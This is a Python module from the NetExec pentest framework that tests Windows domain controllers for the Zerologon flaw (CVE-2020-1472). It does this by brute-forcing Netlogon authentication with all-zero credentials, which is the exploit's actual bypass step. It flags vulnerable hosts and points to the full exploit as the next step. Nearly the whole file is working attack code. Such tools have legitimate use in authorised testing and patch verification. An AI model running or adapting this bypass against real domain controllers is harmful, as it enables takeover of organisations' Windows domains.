NetExec/cme/modules/zerologon.py

102 lines
3.9 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64
from impacket.dcerpc.v5 import nrpc, epm, transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
import sys
import logging
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
class CMEModule:
name = 'zerologon'
description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = False
def __init__(self):
self.context = None
def options(self, context, module_options):
"""
NOP No options
"""
def on_login(self, context, connection):
self.context = context
if self.perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True)
except Exception as e:
logging.debug(f"Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
logging.debug('Performing authentication attempts...')
rpc_con = None
try:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for attempt in range(0, MAX_ATTEMPTS):
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
return True
else:
self.context.log.debug('\nAttack failed. Target is probably patched.')
except DCERPCException as e:
self.context.log.error(f"Error while connecting to host: DCERPCException, "
f"which means this is probably not a DC!")
def fail(msg):
logging.debug(msg, file=sys.stderr)
logging.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
sys.exit(2)
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.
# Use an all-zero challenge and credential.
plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
flags = 0x212fffff
# Send challenge and authentication request.
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
dc_handle + '\x00',
target_computer + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
target_computer + '\x00',
ciphertext,
flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
return True
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
except BaseException as ex:
fail(f'Unexpected error: {ex}.')